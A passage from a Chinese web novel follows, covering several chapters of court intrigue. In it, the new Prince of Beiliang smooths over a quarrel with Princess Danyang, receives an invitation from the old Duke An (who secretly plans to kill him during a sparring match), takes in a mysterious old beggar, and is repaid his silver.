“我怎么以下犯上了……欠债还钱自古天经地义,如果殿下要是治我,就是以大欺小试图赖账。” “你、你、你……”丹阳公主指着沈凡的手都在颤抖。 按自己以往的脾气,不但不会还账,还会向父皇告一状。 可不知怎么了,这个沈凡就是让自己生不起真气。 可……可也不能这样就服软了? 丹阳公主咬住了唇瓣,一对大眼睛里水光闪动,一甩手,扭头就走。 见丹阳公主甩手就走,沈凡嘀咕了句:“跟谁耍性子呢?” 不过并没有不管她,一声不吭跟在她身后,因为沈凡知道,如果这时自己独自走了,那就从拌嘴变成了结仇,犯不上。 “张总管,主子和北凉王刚刚还好好的,怎么打起来了?”五六丈外,艳姑姑轻声问张凤。 张凤嘴角微微一抽道:“咱家哪知道。” 看着丹阳公主香肩隐约颤抖,艳姑姑道:“他把主子弄哭了,咱们就这么看着?” 张凤:“你要怎样?” 艳姑姑:“打他,替主子出气。” 张凤道:“主子没发话,谁敢动北凉王,再说刚才主子还让我给北凉王准备银子呢。 以咱家看,殿下和这位北凉王前世应该是冤家。” “什么意思?”艳姑姑问,忽然就意识到什么道:“你是说……主子和北凉王他们两个……” 张凤无须的嘴角现出几分长辈般的笑意道:“不可说也不能说,更不敢说,跟着吧。” 第六十四章:化解危机 要说沈凡这个人自小就心软。 不说别的,就冲在皇宫里把一个堂堂的公主弄哭鼻子就不太好。 见丹阳公主越走越快,小腰扭动的同时还不时用袖子抹眼泪,想起刚才帮自己的事,不由生起怜香惜玉之情。 想到这,加快脚步与丹阳公主并肩而行,从袖中取出手帕递了过去,轻咳了两声。 泪眼朦胧的丹阳公主发现眼前多了个手帕,看那只修长的手就知道是沈凡,没来头心就是一暖。 可自小任性的她怎么会接,冷冰冰的道:“拿开,你跟着本宫干什么,想图谋不轨吗?” 沈凡下意识就要怼回去,可看到这小娘们儿楚楚动人的样子又于心不忍,想了想道: “我必须跟着你,如果不跟着就是抗旨。” “什么意思?”丹阳公主被这话说得一愣,问道。 沈凡:“你忘了,刚才皇上可是说让我护送你出宫的。” 丹阳公主想起来了,父皇是说过这话,气呼呼的道:“不用,你跟着我,我早晚会被你气死!” 沈凡微微一笑道:“那可不行,你要是被气个三长两短,我以后跟谁去?” “跟太子呗,人家比我强多了!”丹阳公主翻着白眼道。 沈凡变得严肃起来,轻声道:“公主殿下比太子好。” 丹阳公主愣了下问:“什么意思?” 沈凡道:“不说殿下救我的事,就说刚才在皇上那只有你是真心帮我,就冲这殿下就比太子好。” 丹阳公主道:“那是自然,本宫是不亏待自己人的。” 沈凡凝视着她,又把手帕递过去道:“拿着,这里的穿堂风硬,小心冻伤了脸。” 丹阳公主动容了,作为父皇最宠爱的公主,阿谀奉承的话她听的多,可这样的话是从没听过的。 想自己刚才的言行是有些过分了,沈凡是个新晋王爷,连王府都不是自己的,正是缺钱的时候。 又想到沈凡的父母都葬身大海,丹阳公主忽然又明白了什么……这小子是把自己当依靠了。 接过手帕道:“这话本宫可记住了。” 又一次成功化解了危机……沈凡松了口气同时,也深知这位丹阳公主的脾气是个顺毛驴,自不会错过乘胜追击的机会,现出一副可怜的神情道: “我知道殿下待人都是以诚相待,其实跟你要银子也是情非得已,你也知道,就连我那王府都是从皇上那借来的。” 这话说正说到丹阳公主的心里,眼神越发柔和道:“其实也不是不想给你,就是你有时候说话太气人了。” 沈凡道:“那我以后就少气点儿殿下。” “这还差不多”丹阳公主回了句,可随即就反应过来什么,瞪了眼沈凡道:“什么叫少气一点儿,应该是本宫说什么就是什么!” 面对这种情况沈凡自不会妥协,但也没有选择像刚才那样硬刚,而是笑着道:“这个难说,不过……我会尽量不气殿下。” 说完这话后,为了避免与这小娘们儿再发生纠缠,特意加快了脚步。 “你……”丹阳公主愤恨地跺了下脚,刚要回敬两句,却发现沈凡已是走到了自己前面。 背影笔直如松,浑身透露着一股英气,给人以一种莫名的安全感。 不知为何,丹阳公主也加快了脚步与沈凡并肩而行。 此时两人都没说话,沈凡脸上带着笑,丹阳公主虽不时白上沈凡一眼,却也难掩嘴角越来越浓的笑意。 “哎你看,他们又好上了?”艳姑姑对张凤道。 张凤面无表情的“嗯”了声。 艳姑姑歪着头看向前方的两人道:“别说,主子和北凉王看着还挺般配的。” 张凤依旧面无表情的“嗯”了声,不过看向沈凡的眼中却现出几分欣赏。 他见过太多的权贵子弟了,可这个沈凡却与他们都不一样…… 进入了前朝地界沈凡就不用步行了,因为他上了丹阳公主的车驾。 和上次一样,丰盈的艳姑姑依旧坐在丹阳公主身边,面向自己而坐,起到监视的作用。 沈凡发现,艳姑姑看自己的眼神与上次好像不一样,审视中带着几分慈祥,把他看得心直发毛。 因为有艳姑姑在,丹阳公主又恢复了原有的高冷。 不过从她让自己喝茶,吃桌子上的橘子看,沈凡确定这小娘们儿的气已经完全消了。 “这时还能吃到橘子?真是稀罕物!”沈凡看着手里金红色的橘子感叹了句。 丹阳公主微微一笑道:“这是御膳房在夏天时放在冰库里的,我嫌酸,你多吃些。” 沈凡剥开吃了一瓣,给了丹阳公主道:“甜的,你尝尝。” “是么?” 丹阳公主接过,用纤细的手掰了一瓣塞进嘴里,酸得打了个寒战。 看到沈凡憋笑的样子,丹阳公主不动声色将剩下的橘子给了他道:“是很甜,你都吃了吧。” 沈凡接过,不过哪会在吃,递给了艳姑姑道:“艳姑姑,你也尝尝。” 刚才艳姑姑一直在盯着沈凡,没发现丹阳公主的异常,笑着接过道:“谢王爷。” 可当她把橘子放进嘴里后,圆乎乎的大脸顿时就皱成了一团,像个肉包子。 “是不是很甜?”沈凡笑咪咪的问。 “噗嗤……你也太坏了!”侧旁传来了丹阳公主的笑骂声。 艳姑姑知道被算计了,可做为奴仆又不能说什么,只能一边面目狰狞地看着沈凡,一边把橘子吃完。 心中暗道,你小子给我等着,早晚我要找回来! 冬日的天暗得比较早,刚过寅时,西边的云就已经暗了下来,将偌大一座紫禁城笼罩在一片紫色的光芒里。 车驾到达午门时,沈凡透过车窗看到有不少太监在挂宫灯。 这时忽听前方传来一阵若有若无的喧哗声,马车随之停了下来。 “看看怎么回事?”丹阳公主对艳姑姑道。 艳姑姑应了声,翘着丰满的臀刚打开车门,就见张凤已是到了车架前道: “启禀公主殿下,安国公来了,人在午门外,说要见您和北凉王。” 第六十五章:突然出现的安国公 丹阳公主一惊,问道:“他怎么来了?” 张凤道:“奴才刚才打听了,安国公得知孙子被皇上鞭打就赶了过来,一起来的还有巾帼将军的父亲。” 丹阳公主看了眼面无表情的沈凡,然后又问:“郑天泽和王灵瑶呢?” 张凤道:“王灵瑶和他父亲已经带着郑天泽回安国公府治伤了。” 这时就听午门外传来一阵喊声:“公主殿下,老臣拜见公主殿下!” 一听这洪亮又苍老的声音,沈凡就猜到应该是那位九十多岁的安国公郑群山。 中气十足,比驴叫得都响亮……看来传言不假,这老头儿的确异于常人。 “沈凡,看样子人家见我是假,专门来堵你是真。”丹阳公主道。 沈凡微微一笑道:“郑天泽犯的是国法,难道安国公还敢找我报仇不成?” 丹阳公主笑了笑道:“待本宫会会这位安老国公就知道了。” 沈凡摊了摊手,做了个请的动作。 车门被打开了,丹阳公主在艳姑姑的搀扶下下了马车,沈凡一片腿也跳了下来。 丹阳公主对前方的一众侍卫道:“都让开,请安老国公过来。” 随着侍卫们闪开一条道,沈凡看到,一位老者正大步向这边走来。 此人身高足有八尺,虽然头发已经花白,一双虎眼却炯炯有神, 满脸胡须在他的脚步声中颤抖着,宛如一头狂野的雄狮,透露出威严和难以言表的杀气。 “别怕,你是本宫的人,一切由我挡着。”丹阳公主轻声道了句。 “我不怕,你不说他腿瘸吗。”沈凡也轻声回道。 丹阳公主被这话逗得一乐,紧接着就被一阵狮吼般的声音吓了一跳:“老臣见过公主殿下。” 丹阳公主微微一屈膝道:“安国公不必客气,您是前辈。” 丹阳公主这么客气是有原因的。 安国公在太祖时就是一员猛将, 如今七十年过去已成四朝元老,连皇上对他都以礼相待。 丹阳公主自不会在礼节上有所差池,问道:“请问老国公,找本宫有事?” 郑建山并没回答,而是看向丹阳公主道:“请问殿下,哪位是新晋北凉王?” 丹阳公主眉头微微一皱,指向身边的沈凡道:“这位就是新晋北凉王沈凡。” 此时丹阳公主已经想好了,客气归客气,如果这老头儿敢找沈凡的麻烦,自己就以公主的身份压他。 沈凡则用警惕的目光看着安国公,倒要看看老家伙是怎么护犊子的? 让沈凡没想到的是,郑建山仿若突然换了个人般,脸上带着笑意上下打量着自己道: “果然是虎父无犬子,颇有老北凉王的几分英姿!” 沈凡有些摸不着头脑,不过见对方如此客气自也不能失了礼,对郑群山拱手道: “晚辈见过安国公,不知您找晚辈有什么事? 接下来发生的事让沈凡更是摸不着头脑,就见郑建山对自己和丹阳公主拱拱手道: “老夫是特意来感谢北凉王和丹阳公主殿下的,老夫的孙子实在是不争气,若不是公主陛下和北凉王发现了他的罪过,陛下及时惩治了他,不知这小子以后还会惹出多大的祸来。” 沈凡扭头看向丹阳公主,眼神里带着几分疑惑。 意思是说,这老头儿跟你说的不一样啊,看起来还挺通情达理的。 丹阳公主也没想到郑建山会说出这样的话,心里暗道了句惭愧,说道: “老国公能这么想本宫深感欣慰,原以为老国公是来问罪的。” “哈哈哈……”郑群山笑道:“殿下此言差矣,老臣为朝廷效力的几十年,这点儿道理还是明白的。 此番除了感谢外,还有想结交一下这位北凉王。” 说着就走到沈凡身前,忽然伸出蒲扇般的大手往沈凡肩头拍去。 沈凡豁然警觉,可躲已经是来不及了。 丹阳公主也被郑建山毫无征兆的这一下惊到了,下意识道了句:“安国公!” “啪”得一声,郑建山的手已是拍在了沈凡的肩膀上。 让沈凡感到诧异的是,郑建山这一巴掌根本就没用力,完全就是长辈对晚辈那种拍肩的感觉。 眼见沈凡没事,丹阳公主也松了口气。 就见郑建山拉住沈凡的手道:“老夫今天来还有件事,就是请你明日晌午来老夫府上做客。 一来老夫听闻北凉王好武,正好老夫也喜欢习武,想与北凉王切磋切磋。 二来老夫知道北凉王与天泽有段感情债,年轻人么……卿卿我我的事还是顺其自然好。 老夫愿从中调停,让你们成为朋友不敢想,至少不要结仇,毕竟你们还要同朝为官,北凉王可不能驳了老夫的面皮呦!” 说完满脸笑意的看向沈凡,神情仿佛就像爷爷看孙子。 丹阳公主一喜,笑着对沈凡道:“北凉王,能被安老安国公请可是件幸事。” 虽然沈凡一百个不愿意在见到郑天泽,可也知道郑建山身为资格最老的勋贵,能邀请自己是份难得的荣耀。 何况丹阳公主还说了那样的话,如果拒绝就不是不给安国公面子了,而是不给丹阳公主面子。 至于切磋武艺的事么……这位安国公是武痴是天下人都知道的事,沈凡也没觉得有什么不妥。 想到这,被九十岁的老功勋拉着手沈凡也有些动容,已然不怎么厌恶郑天泽的这个爷爷了,笑道: “既然安国公如此看得起晚辈,晚辈自恭敬不如从命。” “好好好。”郑建山连说了三个好字,对丹阳公主又拱拱手道:“既如此,老臣告退。” 丹阳公主笑眯眯道:“老国公慢走。” 郑建山道了声是,大步向午门外走去。 看着郑建山的背影,丹阳公主颇为感慨的对沈凡道:“老臣还是老臣,在大是大非前还是定力的。” 沈凡也感慨的应了声:“是啊。” 丹阳公主道:“明日给你放天假去赴宴,后天来户部,本宫在给你这位新六品官安排差事。” 沈凡道:“谢殿下,我还要去兵部看看抚恤银发的怎么样了,先走一步。” 丹阳公主点点头,看着沈凡上马离开。 第六十六章:你们谁知道龙虎山 沈凡刚到兵部门口,就有两个军士就迎了上来。 其中一人帮自己牵马,另一人鞠躬行礼道:“小人拜见北凉王。” “本王的两个护卫在里面么?”沈凡问。 “在在,他们都在前厅,小人带您去寻。”军士道。 “不必了,本王自己去。”沈凡边说边走进门,径直往前厅而去,发现偌大的兵部衙门里几乎没什么人了。 寻到徐盛和丁奉后才得知,原来兵部衙门里的人都被派下去发放抚恤银了。 徐盛还告诉自己,兵部尚书段传福本来是在这里坐镇的,可就在刚才,一道圣旨下来将他骂了个狗血淋头,罚俸一年,留职察看。 段传福吓坏了,当即就带着兵部侍郎赵应龙出了衙门,说是要改过自新,亲自去发放抚恤银。 沈凡对这个结果很满意,告诉丁胜和徐盛不用在这里待了,跟他一起回王府。 徐盛不解的问:“难道不用在这里继续盯着吗?” 沈凡笑道:“有了这道圣旨,现在段传福比谁都上心,用不着在这里监督了。” 徐盛和丁盛觉得极对,便与沈凡一起骑马回返王府。 此时天色已经彻底暗了下来,街上的行人也逐渐稀少,不过街道两侧依然可以看到挂着灯笼的小吃摊。 “你们谁知道龙虎山天师府?”沈凡问道。 丁奉有些茫然地摇摇头。 徐盛道:“小的知道这个地方,位于江南西道的雄石镇,是座军事重镇,设有城池和驻军,驻兵约千人左右。” “你怎么知道的这么详细?”沈凡有些诧异的问。 徐盛笑了笑道:“王爷您有所不知,十五年前老王爷去江南道剿过匪,曾带着小人在那里驻扎过。” 经徐盛这么一说,沈凡回忆起来了,父王是在江南道剿过匪。 当时自己只有四五岁,长大后母亲对自己讲父王的战功时说过,只是父王的战绩太多,没把这事放在心上。 “你对雄石镇熟吗?”沈凡又问。 徐盛道:“还可以,小人跟着老王爷时在那里任过陪戎校尉,手下有过百十个弟兄。 剿匪结束后,有二十几个人就留在了那里安了家,常有书信来往。” “那就你了!”沈凡看向徐盛道。 徐盛听得一愣,问道:“什么意思?” 沈凡就将自己要帮丹阳公主查黄天师的事说了。 徐盛听了当即道:“王爷有所差遣,小人必全力以赴,不知王爷让小人什么时候走?” “越快越好。”沈凡道:“记住你这次是暗访,到了雄石镇可以找旧部帮忙,不过不要让他们知道你的真实目的。” 徐盛回道:“您放心,他们只知道小人这些年在做买卖,不知道现在跟了您。 小人会乔装成商人前往,就说替京城一个大户找正一道祈福,然后暗查那个黄天师。” 沈凡对徐盛的办法很满意,说道:“你想的很周到,回府后和福伯说一声,需要多少路资管水仙要就是。 还有,如果查到什么不要来书信,即刻回来报我。” “小人明白。”徐盛道。 沈凡满意的点点头,双腿一夹马腹道:“快点走,忙了一天,回去还能赶上口热乎饭。” 徐盛和丁奉应了声,打马跟上。 正如王爷所说,忙了一天了,他们现在就想回去喝点儿小酒,好好休息一下。 就在沈凡带着徐盛、丁奉回府的同时,安国公府宅内。 郑天泽赤着上身趴在床榻上,王玲瑶正往他背上涂抹着金疮药。 鞭伤很深,就算金创药里加了冰片、麻沸散这样的止疼药,每涂抹一下还是疼得郑天泽五官错位,发出“嘶”得一声。 站在王灵瑶身后的王父,看到姑爷遭罪的样子,脸上也现出痛苦的神情。 郑天泽每“嘶”一声,他也跟着“嘶”一声,仿佛这些伤都在自己身上。 离着床榻一丈外,坐在太师椅上的郑建山,表情阴冷的看着这一切。 这时外屋响起了叩门声,随后就传来了管家的声音:“老爷,太子殿下派人给您送了封信。” “灵瑶,你继续给他涂药。”郑建山阴着脸对王玲瑶道,然后起身走向外屋。 就见管家站在门外,身边站着一个穿着百姓衣服的精壮汉子。 郑建山认识他,此人不止一次乔装给自己送信,拱了拱手。 精壮汉子忙拱手还礼,从怀里取出一封书信,双手捧着递给郑建山道: “老国公,殿下让您当场看信,并让小的带回口信。” 郑建山点点头,撕开信的封口,展开看了看,随即眼中光芒一闪,将书信还给汉子道: “劳烦回禀殿下,老臣明白了,谢殿下的关心。” 汉子点点头,从袖中摸出火折子,当着郑建山的面将书信点燃。 眼见火苗将书信焚化殆尽,化做黑灰落在地上,那汉子才对郑建山再次拱手道:“小人告辞。” 郑建山什么也没说,抬手做了个请的手势。 管家对那汉子轻声道了句:“请随我走侧门”,然后带着他消失在夜色里。 郑建山警惕的往院子里看了看,将房门关好回了里屋。 “爷爷,殿下说什么了?”郑天泽忍着疼,用力抬起头问道。 此刻郑建山脸上的阴霾已然消失不见,嘴角带笑道:“太子殿下说了,让你好好养伤。” 又看王灵瑶道:“太子殿下还说,让你们小两口儿勿要把这件事放在心上,好好为朝廷效力,自不会影响仕途。” 听到这话,王灵瑶和郑天泽皆是一喜。 王父则兴奋的对王灵瑶道:“闺女啊,听见没有,有老国公和太子殿下护着咱们,咱们王家倒不了!” 王灵瑶对父亲点点头,又用敬仰的目光看了眼郑建山,心里感觉无比的踏实。 “爷爷,您得替孙儿报仇啊,这口气实在太难消了!”郑天泽看向郑建山哭道。 郑建山眼睛一眯,现出一道凛冽的杀气道:“放心吧,沈凡已经答应明天来赴宴,爷爷会借着和他比武的机会弄死他!” “哎哟!” 郑天泽忽然发出一声呻吟,原来是王灵瑶手一抖弄疼了他。 “没事吧?”王灵瑶忙关切的问。 “没事,你怎么了?”郑天泽问道。 王灵瑶眉头微微一皱道:“你不是说只是借机教训沈凡一下么,怎么要杀了他,在说这样会给爷爷带来麻烦的。” 郑天泽笑道:“放心吧,爷爷有免死金牌,就算弄死了那小子也不会有大罪,何况又是比武,拳脚无眼。” 郑建山也笑道:“天泽说的没错,放心吧灵瑶,爷爷不会被牵连的,这次我会亲自给你们报仇。” “对,弄死那小子!”一旁的王父咬着牙对王灵瑶道:“你弟弟现在还裹着尿布躺在床上,现在沈凡又要毁了你和天泽的前程,不弄死他难解我心头之恨!” 王灵瑶看了看郑建山和父亲,又看了看躺在床上的郑天泽,微微点头…… 第六十七章:老人家,里边请 沈凡回到王府时天已经黑透了,远远就见府门外站着四个提着灯笼的人,甚是醒目。 其中三人身材魁梧,一人身形弱小,正是倪福、韩当、周泰和水仙。 见沈凡回来了,四人忙迎了过去。 “大冷的天,你们在这干什么?”沈凡问。 水仙抓住马缰绳反问道:“您怎么这么晚才回来?” 倪福跟着道:“是啊王爷,早就过了衙门放衙的时辰,我们都等着急了。” 沈凡翻身下马道:“事太多耽搁了。” 倪福看向徐盛和丁奉问:“王爷第一天办差不顺当吗?” 徐盛呵呵一笑道:“不顺是不顺,不过都被王爷化解了,且这一天可是热闹的紧。” “怎么回事?”倪福道。 徐盛看向沈凡问道:“王爷,能说吗?” 沈凡笑道:“他们又不是外人,当然能说。” 徐盛就把今天发生的事大概讲述了一遍,听得水仙、倪福、韩当、周泰唏嘘不已,都用惊讶和钦佩的眼神看向自家主子。 查出一个参将贪污,查出了王灵瑶和郑天泽用兵过狠,查出了西北冒赈,进宫面圣……这一桩桩一件件哪个不是大事。 倪福、韩当、周泰很后悔,早知道就跟着王爷出门了,也能经历一番。 见徐盛还在添油加醋说着,沈凡打断他道:“好了,想说回府说,你们不饿我可饿了。” “对对对,回去说,回去说。”徐盛不好意思的笑道。 水仙对韩当道:“把王爷的马牵走,记得喂温水,多加些干料。” 在灯笼的照耀下,她又发现沈凡的貂皮大氅上沾了不少灰尘,忙取出手帕下摆抽打着道: “瞧您这一身土呦……饭菜早就准备好了,现在就能吃。” 沈凡笑着点点头,任由水仙抽打着往府里走。 正这时,忽听暗夜里传来了一个苍老的声音:“王爷固然干练,可恐怕也招来了祸事啊!” 沈凡几人皆一惊,没想到还有人躲在暗处。 韩当、徐盛、丁奉、周泰立刻围在沈凡周围,沈凡则一把将水仙拉到身边。 倪福已是拔出了佩刀,他腿脚不好,提着灯笼一瘸一拐向发出声音的地方走去。 借着灯笼的光亮众人这才看到,门口的石狮子旁站着一个人。 长得高大消瘦,长衫上满是补丁,头发胡子都白了,少说也有六七十岁。 脚下还有条瘦弱的黄狗,因为害怕的缘故尾巴紧夹着。 “你是谁?”倪福用刀指着老者的鼻尖问道,刀锋在灯笼的照耀下闪烁着寒光。 老者却浑然不惧,看向沈凡道:“王爷可否还记得老夫?” 沈凡微微一楞,随后就认出来了,这老者不是别人,正是白天遇到的那个老头儿。 “倪伯,把刀收了。”沈凡道了句,走到老者身前道:“怎么是你?” 老者整理了下皱巴巴的衣袍,对沈凡拱拱手道:“白天赠饼之恩还未道谢,老夫是特意在这里等王爷的。” “你跟踪我?”沈凡警觉的道。 老者微微一笑道:“非也,非也,是老夫的耳朵比较长,听到了王爷和两位护卫的对话,这才知道了王爷的身份,故特意在府外等候。” 弄清楚状况的沈凡并没有放松警惕,对老者也抱抱拳道:“老人家,不知你刚才说的那句话是何意? “只可意会,不可言传。”老者现出一副高深莫测的神情,弯腰摸了摸黄狗的脑袋道。 没想到黄狗根本就不配合,它已经认出来了,眼前这个也长着毛的人就是给自己吃的那个人。 本能挣脱老者的手,屁颠屁颠跑到沈凡脚下,用头蹭着沈凡裘皮大氅的下摆,用力摇着尾巴,发出“哼哼”的声响。 老者…… “哪来的叫花子在这里装神弄鬼,还不快滚!” 随着倪福轻喝了声,黄狗吓得又将尾巴夹了起来,“呼”得跑回老者身边。 沈凡摆手示意倪福不要说话,再次对老者拱拱手道:“请问老人家尊姓大名,可否将意会之事言说一二?” 老者踢了黄狗一脚道:“老夫姓苏,至于名字就算了,垂垂老矣将死之人,不说也罢。 不过王爷若真想听老夫说,还需吃了饭。” 没等沈凡说话,倪福已经被气乐了,说道:“王爷,您别听这老家伙胡咧咧,这种人我见多了,就是个混吃混喝的老骗子。” 水仙,徐盛几人也觉得倪伯说的对,看向老者都是一脸嫌弃。 沈凡却不是这么想。 不就是吃顿饭吗,就算骗吃骗喝又如何,全当救济了人,况且他还是觉得这老者不是一般人。 也不理倪福,对老者做了个请的手势道:“老人家里边请。” 老者也不说谢,只对沈凡拱拱手,带着黄狗就上了王府大门的台阶。 可刚到门口,老者就看到黄狗蹲在门槛外不动了,怎么拉扯也不起身,只是惊恐地看着高大的门楣,发出“呜呜”的声音。 老者似乎明白了什么,对沈凡道:“老夫想起来了,大黄以前在大户人家门口被打过,看样子需王爷把它带进去才行。” 沈凡眼中现出几分怜悯,俯身拍了拍黄狗的脑袋道:“莫怕,跟我进去吃肉骨头。” 狗是一种非常有灵性的动物,黄狗早就看出来了,这个浑身是毛的人就是这里的老大。 加上沈凡轻声的话语,让它瞬间没了恐惧,“哈哈”两声进了门。 倪福等人见自家王爷已经把老者让进了门,自不敢再说什么,跟着往府里走。 绕过影壁墙后,水仙对老者道:“这位老先生,请跟我到饭堂用饭吧。” 听到这话的沈凡道:“不,让老先生与我一起吃。” 闻听此言,老者嘴角撇出一丝笑意。 水仙道:“可是王爷,您看他这一身脏兮兮的,味儿还大,怎么进得了小饭堂?” 看着老者身上脏乱不堪的长袍,沈凡也觉得不妥,说道: “老先生,我没有嫌弃意思,只是孔圣云‘食无求饱’,是否先洗浴更衣,然后我们再用饭?” 老者抬起袖子闻了闻道:“王爷说的不错,饮食不止是填饱肚子,还要有饮食的礼仪,老夫恭敬不如从命。 不过……还请王爷把老夫的这条狗也洗一洗。” 第六十八章:丹阳公主派人来了 一听老者还要给这条脏了吧唧狗洗澡,水仙不愿意了,白了老者一眼道:“你这人怎么这样,还想把狗也洗了!” “水仙,这没你说话的地方。”沈凡瞪了水仙一眼道:“按老先生说的去做,我在小饭堂等着。” “是。”见沈凡生气了,水仙只好应了声,对老者没好气的道:“带上你的狗跟我来。” 老者点点头,笑眯眯带着黄狗跟水仙走了。 见沈凡自顾去了小饭堂,丁奉凑到倪福身边道:“倪大哥,我看这老小子定是个骗子。” 徐盛、韩当、周泰几人同时点了点头,对此深信不疑。 不想倪福却摇摇头道:“刚才我是这么想的,可现在也说不好了。” “怎么说?”丁奉问。 倪福道:“你们知道王爷刚才说的是孔圣人的话吗?” 丁奉几人面面相看,一齐摇头。 他们都是武夫,能认几个字就不错了,哪知道孔圣人的话。 倪福道:“可这个老乞丐却知道。” 丁奉几人在次面面相看,这点他们还真没想到。 倪福道:“好了,我们也吃饭去,此人是不是骗子还是请王爷看吧。” …… 对沈凡交代的事,水仙心里虽然不乐意,却不敢有一丝懈怠。 吩咐仆人烧热水,准备浴桶,又命两个男仆给老者准备衣服,伺候他洗浴。 这可苦了那些仆人,看着那老者脏了吧唧的脸,两只黑手,还有那条毛儿都快结成毡片儿的狗,都不由暗道。 这得烧多少水才能洗干净啊? 水仙吩咐完后就离开了,正准备去小饭堂看王爷还有什么吩咐,就见门房老王急匆匆跑过来道: “水仙姑姑,您快去看看,丹阳公主殿下派人给王爷送东西来了。” “什么?”水仙楞了下,跟着老王来到府门。 就见在灯笼的照耀下,门口站着一位二十多岁,体态丰盈的宫女,身后停着一辆马车,上面还装着两只大木箱。 门房老王对那位体态丰盈的宫女道:“这位奶奶,这位是我们王府大总管,水仙姑姑。” “水仙姑姑?”体态丰盈的宫女上下打量着水仙笑道:“你叫我艳姑姑就行,快去通报你家主子,公主殿下让我把皇上赏他的一万两银子送来了。” 一万两银子……皇上赏赐的…… 水仙的目光再次看向马车上两只木箱,眼睛顿时亮了一下道:“老王,快,叫倪伯让人把箱子搬进来。” 又对艳姑姑道:“您请到前厅稍候,我这就去找王爷。” 说完转身就往府里跑,带起的风把艳姑姑的裙摆都撩起一角。 “这丫头怎么疯疯癫癫的,也配叫姑姑?”艳姑姑叨咕了句,在老王的引领下向王府内走去。 但见府内很干净,走廊和房屋的柱子闪着红色的光,一看就是新刷得漆。 只是见不到大户人家的那些石雕、假山、石桌和石凳,庭院里的灯笼也不多,仆人也见不到几个。 这让艳姑姑变相知道了,沈凡是真的缺钱。 刚进前厅,就看到沈凡在水仙的陪伴下从内堂迎了出来。 一看到沈凡,艳姑姑不由就想起了那半个橘子,感觉一阵倒牙。 此刻,倪福、丁奉、徐盛等人也把两口大木箱子搬了进来。 艳姑姑撕下箱子上的封条,打开盖子的一瞬,里面的银锭发出诱人光。 把个水仙看得发出一声轻呼,三步并两步就凑了过去。 沈凡看到,艳姑姑对自己施了个礼,取出一张盖着户部印章的收据道: “北凉王,奴婢封公主之命,将皇上赏赐的一万两银子带来了,请北凉王查收后在收据上签个字。” 沈凡拱拱手道:“有劳艳姑姑了,外面天冷,快坐下喝杯热茶……水仙,上点心。” “啊……王爷您说什么?”眼珠子都快掉进银子里的水仙没听清,问道。 “没出息。”沈凡笑骂了句道:“让倪福他们点银子,你赶快给艳姑姑上点心。” “哦。”水仙应了声,刚要往外走却忽然想起了什么道:“王爷,府里没点心了。” “怎么回事?”沈凡问。 水仙不好意思的道:“今天府里的事多,人手忙不过来,忘了买。 不过奴婢刚做了甜烧饼,不知行不行?” “也行,赶快拿来。”沈凡说道,看向艳姑姑笑了笑道:“别介意啊。” 艳姑姑皮笑肉不笑的道:“不介意,北凉王府刚建不久,人手不够嘛!” 说是这么说,心里却在气恼。 就冲你骗我吃的那半个橘子,谁知道你是不是故意的? 这时水仙端着托盘回来了,上面摞着几块烧饼,放在了艳姑姑旁边的桌案上。 沈凡道:“艳姑姑请。” 见她没有拿的意思,就主动拿起一块递给她,自己也拿起一块咬了口,紧接着就看向水仙道:“味道不错嘛,怎么没见你做过?” 水仙笑道:“谢王爷夸奖,这是奴婢老家扬州府的特色,需用松子,核桃、菜油、面粉、加上砂糖炉烤而成。 头两年苦了些,奴婢就没给王爷做过。” “不错不错!”沈凡边吃边夸道,一会儿就吃了两块。 艳姑姑见沈凡吃得香甜,加上又不好把手里的烧饼放回去,就咬了一小口,然后……就连吃了四块。 这个水仙怎么把烧饼烤得这么好,比公主府的那些小点心好吃多了。 松子的味道十分浓郁,饼上还有一层糖霜,好吃,真好吃! 眼见艳姑姑又吃上了第五块,盘子里就剩下两块,沈凡不好意思在吃了,问水仙:“还有吗?” “有,锅里烙着呢。”水仙道。 沈凡道:“都拿来,装盒给艳姑姑带回去。” 水仙立刻跑了出去,不一会儿的功夫就拿着一个食盒回来了,依旧放在艳姑姑身旁的桌子上。 有了美食加持,艳姑姑的心情好了不少,对水仙笑了笑,看向沈凡道:“那就多谢王爷了。” 沈凡摆摆手道:“区区几块饼没什么,过两日我让水仙再给你送去些。” 这小子还是很会来事嘛,既如此就不为难你了…… 艳姑姑的心情更好了,舔了舔手上的烧饼渣,取出一个袖袋递给沈凡道:“王爷,把这个拿着吧。” “什么?”沈凡接过来问道。 “看看就知道了。”艳姑姑又拿起一块烧饼道。 第六十九章:老家伙,原来在跟我玩儿阴的 沈凡打开袖袋,发现里面竟装着一沓银票。 数了数共五张,五千两的四张,两千两的一张,共两万两千两, 沈凡立刻想到了什么,不过为了确定一下还是问道:“这是何意?” 艳姑姑道:“王爷不是老怕公主殿下不还您银子么,这回可以放心了。” 还真是我的银子……沈凡心中一喜,可随即又觉得有些不对,问道: “我记得是两万一千两,怎么多了一千两?” 艳姑姑微微一笑道:“那是利钱,殿下说了,不能让王爷觉得她占了便宜。” “是嘛!”沈凡终于控制不住笑出来道:“还请姑姑代我多谢公主殿下。” 看到沈凡高兴的样子,艳姑姑暗道。 要不看在你小子用这么好吃的烧饼招待我,本姑姑才不会这么痛快把银票给你呢! 原来是在临行前丹阳公主交代过,如果沈凡对自己礼敬有加,就把银票给他。 如果自持有功对自己代答不理,就把银票拿回来,至于什么时候再给,那就看殿下的心情了。 沈凡哪知道还有这些事,将银票给了水仙道:“收好。” 水仙的心砰砰狂跳,两万两千两银票,加上一万两现银,就是三万两千两……这下王府的开销就全解决了! 另一边,倪福他们已经点完了银子,一万两不多不少。 沈凡在收据上签了名子,见艳姑姑要回去复命,便要亲自送她出府。 艳姑姑不让,说哪有王爷送奴婢的规矩。 沈凡不失时宜的告诉她,就算对那半个橘子表示歉意了。 这让艳姑姑对沈凡的印象又好了不少,不过依然不让送。 见两人一直在拉拉扯扯,水仙小声对倪福:“倪伯,王爷怎么对她这么客气,不就是丹阳公主的一个宫女么?” 倪福轻声道:“她可不是一般的宫女,听说是伴着丹阳公主长大的大女官,得罪不得!” “原来是这样。”水仙吐了下舌头道。 别看她不太了解官场,可对艳姑姑这种厉害的角色还是知道些的。 王爷这样恭敬她,就是阎王好见小鬼难缠,王爷真是太不容易了! 就在水仙心疼地看着沈凡时,就见门房老王从外面跑进来道:“王爷,丹阳公主府又来人了,说是有急事要见你。” 什么……沈凡一惊,想到的是丹阳公主不会反悔了吧? 可随即就把这个念头掐灭了,这小娘们是豪横了些,但绝不是那种小肚鸡肠的人。 问门房老王:“来人是谁?” 老王道:“他说他叫张凤。” 听到这话,沈凡和艳姑姑不约而同看向对方,神情都有些惊讶。 